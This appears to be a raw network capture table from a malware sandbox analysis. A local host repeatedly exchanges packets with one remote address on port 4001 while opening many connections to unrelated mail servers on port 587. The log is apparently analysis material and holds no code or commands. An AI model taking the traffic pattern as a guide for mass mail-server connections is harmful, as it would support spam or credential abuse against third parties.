May 19, 2024 17:27:45.900930882 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.900945902 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:45.900959969 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:45.900974035 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:45.900988102 CEST	587	49748	104.22.65.144	192.168.2.4
May 19, 2024 17:27:45.901060104 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.901070118 CEST	49748	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:45.901098967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.901127100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.901185036 CEST	49748	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:45.901218891 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.901540041 CEST	49962	587	192.168.2.4	77.78.119.119
May 19, 2024 17:27:45.911705971 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:45.911708117 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:45.911708117 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:45.911714077 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:45.911714077 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:45.913567066 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:45.918189049 CEST	587	49748	104.22.65.144	192.168.2.4
May 19, 2024 17:27:45.922949076 CEST	587	49962	77.78.119.119	192.168.2.4
May 19, 2024 17:27:45.922965050 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.922977924 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:45.923013926 CEST	49962	587	192.168.2.4	77.78.119.119
May 19, 2024 17:27:45.923077106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.923113108 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.927839041 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:45.927896976 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:45.928312063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.932949066 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:45.937386990 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.942234993 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:45.942292929 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:45.942646980 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.942981005 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:45.942980051 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:45.942980051 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:45.947082996 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:45.947098017 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:45.947205067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.947241068 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.951937914 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.956872940 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.968521118 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:45.969379902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.969379902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.970397949 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:45.972532988 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:45.972579956 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.972579956 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.973917961 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:45.974391937 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:45.975344896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.984869957 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.984894037 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.984932899 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:45.984992981 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.985254049 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:45.985409021 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:45.985553980 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:45.985599995 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:45.985651016 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:45.985696077 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:45.985738039 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:45.985774994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.986917019 CEST	49965	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:45.989836931 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:45.989852905 CEST	587	49939	142.93.237.125	192.168.2.4
May 19, 2024 17:27:45.989867926 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:45.989914894 CEST	49939	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:45.989933014 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:45.990680933 CEST	49939	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:45.993849993 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:45.995105982 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:45.999892950 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:45.999917984 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:45.999933004 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:27:45.999947071 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:45.999960899 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:45.999974966 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:45.999990940 CEST	587	49965	84.116.6.22	192.168.2.4
May 19, 2024 17:27:46.000005960 CEST	587	49897	64.59.136.142	192.168.2.4
May 19, 2024 17:27:46.000019073 CEST	587	49897	64.59.136.142	192.168.2.4
May 19, 2024 17:27:46.000072956 CEST	49897	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:46.000123978 CEST	49897	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:46.000165939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.000165939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.000170946 CEST	49965	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:46.000286102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.005053043 CEST	587	49939	142.93.237.125	192.168.2.4
May 19, 2024 17:27:46.005068064 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.006419897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.006453037 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.010077000 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:46.010272026 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.014856100 CEST	587	49897	64.59.136.142	192.168.2.4
May 19, 2024 17:27:46.014873028 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.019620895 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.019942045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.019942045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.023699999 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:46.024971008 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.036700010 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:46.047416925 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:46.049246073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.052146912 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:46.052326918 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:46.052862883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.056979895 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.059808016 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:46.060420990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.060420990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.062227011 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:46.062433004 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.062433004 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.062499046 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:46.066994905 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:46.068737984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.071803093 CEST	587	49750	194.153.145.104	192.168.2.4
May 19, 2024 17:27:46.071818113 CEST	587	49751	199.85.66.2	192.168.2.4
May 19, 2024 17:27:46.071839094 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:46.071852922 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.071861029 CEST	49750	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:46.071873903 CEST	49751	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:46.071924925 CEST	49751	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:46.071966887 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.072287083 CEST	49750	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:46.072290897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.072292089 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.076529980 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.081289053 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.081302881 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.081429005 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:46.081733942 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:46.081754923 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:46.081754923 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:46.086235046 CEST	587	49751	199.85.66.2	192.168.2.4
May 19, 2024 17:27:46.086249113 CEST	587	49750	194.153.145.104	192.168.2.4
May 19, 2024 17:27:46.086262941 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.090966940 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:46.090982914 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:46.091082096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.091113091 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.095877886 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:46.095891953 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:46.095906019 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:46.099212885 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:46.100349903 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:46.100752115 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.114990950 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:46.114990950 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:46.123332024 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:46.123558998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.131623983 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:46.131853104 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.136471033 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:46.136548996 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:46.136584044 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:46.136776924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.141402960 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.146112919 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:46.146435022 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:46.153513908 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:46.153628111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.158688068 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:27:46.158886909 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.163811922 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.173352003 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:46.173508883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.173510075 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.174993992 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:46.175041914 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:46.175088882 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.175088882 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.177334070 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:46.178334951 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:46.178730965 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.178730965 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.181683064 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:46.181700945 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:46.181715012 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.181757927 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:46.181803942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.181834936 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.181865931 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:46.181979895 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:46.182033062 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:46.182050943 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:46.182235003 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:46.182523966 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:46.182574987 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:46.182838917 CEST	49966	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:46.182997942 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.183013916 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:46.183125973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.183126926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.187351942 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:46.187367916 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.187417030 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:46.187455893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.192471027 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.192496061 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:46.192512035 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:46.192526102 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:46.192538977 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:46.192553043 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:46.192567110 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:46.192580938 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.192595005 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:46.192611933 CEST	587	49966	142.93.237.125	192.168.2.4
May 19, 2024 17:27:46.192626953 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:46.192688942 CEST	49966	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:46.192873955 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.192873955 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.197200060 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.197226048 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:46.197508097 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.198834896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.198836088 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.202105999 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:46.202131987 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:46.202250957 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.202286959 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.206990957 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.207355976 CEST	49967	587	192.168.2.4	62.104.23.16
May 19, 2024 17:27:46.208576918 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:46.208695889 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:46.211894989 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.211946964 CEST	587	49936	120.50.131.112	192.168.2.4
May 19, 2024 17:27:46.212018967 CEST	49936	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:46.212078094 CEST	49936	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:46.212191105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.216861963 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.221770048 CEST	587	49967	62.104.23.16	192.168.2.4
May 19, 2024 17:27:46.224189997 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:46.224209070 CEST	49967	587	192.168.2.4	62.104.23.16
May 19, 2024 17:27:46.225140095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.229314089 CEST	587	49936	120.50.131.112	192.168.2.4
May 19, 2024 17:27:46.237395048 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.239824057 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:46.239828110 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:46.255500078 CEST	587	49937	120.50.131.112	192.168.2.4
May 19, 2024 17:27:46.256714106 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:46.256814957 CEST	49937	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:46.256815910 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:46.257302046 CEST	49937	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:46.257333040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.274646997 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:46.277065992 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.279561043 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:46.280411005 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.282604933 CEST	587	49937	120.50.131.112	192.168.2.4
May 19, 2024 17:27:46.282624006 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:46.282712936 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.282713890 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.284029961 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:46.284291029 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:46.284297943 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.284297943 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.287219048 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:46.291105986 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.291977882 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.292022943 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.296786070 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.318023920 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:46.322967052 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.322988033 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:46.323002100 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.328506947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.333523035 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:46.335619926 CEST	587	49755	194.153.145.104	192.168.2.4
May 19, 2024 17:27:46.335678101 CEST	49755	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:46.335753918 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:46.345262051 CEST	49755	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:46.345367908 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.346432924 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:46.346524000 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:46.346709013 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:46.348925114 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:46.357703924 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:46.358401060 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.362443924 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:46.364456892 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.364849091 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:46.367165089 CEST	587	49755	194.153.145.104	192.168.2.4
May 19, 2024 17:27:46.367181063 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.367194891 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:46.367208958 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:46.367222071 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:27:46.367237091 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:46.368701935 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:46.368777990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.373080969 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.373107910 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.377168894 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.377224922 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:46.377310038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.382194042 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.387203932 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:46.387784004 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.392687082 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:46.392733097 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:46.392818928 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.392844915 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.392957926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.392982960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.398159981 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.402725935 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:46.402761936 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:46.402868986 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:46.402910948 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.402924061 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:46.402976990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.403013945 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:46.403048992 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.407949924 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.408346891 CEST	49969	587	192.168.2.4	91.103.219.229
May 19, 2024 17:27:46.411684036 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:46.411699057 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:46.412743092 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.414541960 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:46.414575100 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:46.414608955 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:46.415472984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.415472984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.415945053 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:46.416043043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.416043997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.416138887 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:46.418437958 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:46.418716908 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.421277046 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:46.421468019 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:46.421484947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.421484947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.423605919 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:46.423641920 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:46.423679113 CEST	587	49969	91.103.219.229	192.168.2.4
May 19, 2024 17:27:46.423696041 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.423696041 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.423703909 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:46.423738003 CEST	49969	587	192.168.2.4	91.103.219.229
May 19, 2024 17:27:46.423773050 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.423794985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:46.427350998 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:46.428399086 CEST	4001	49734	212.162.153.199	192.168.2.4
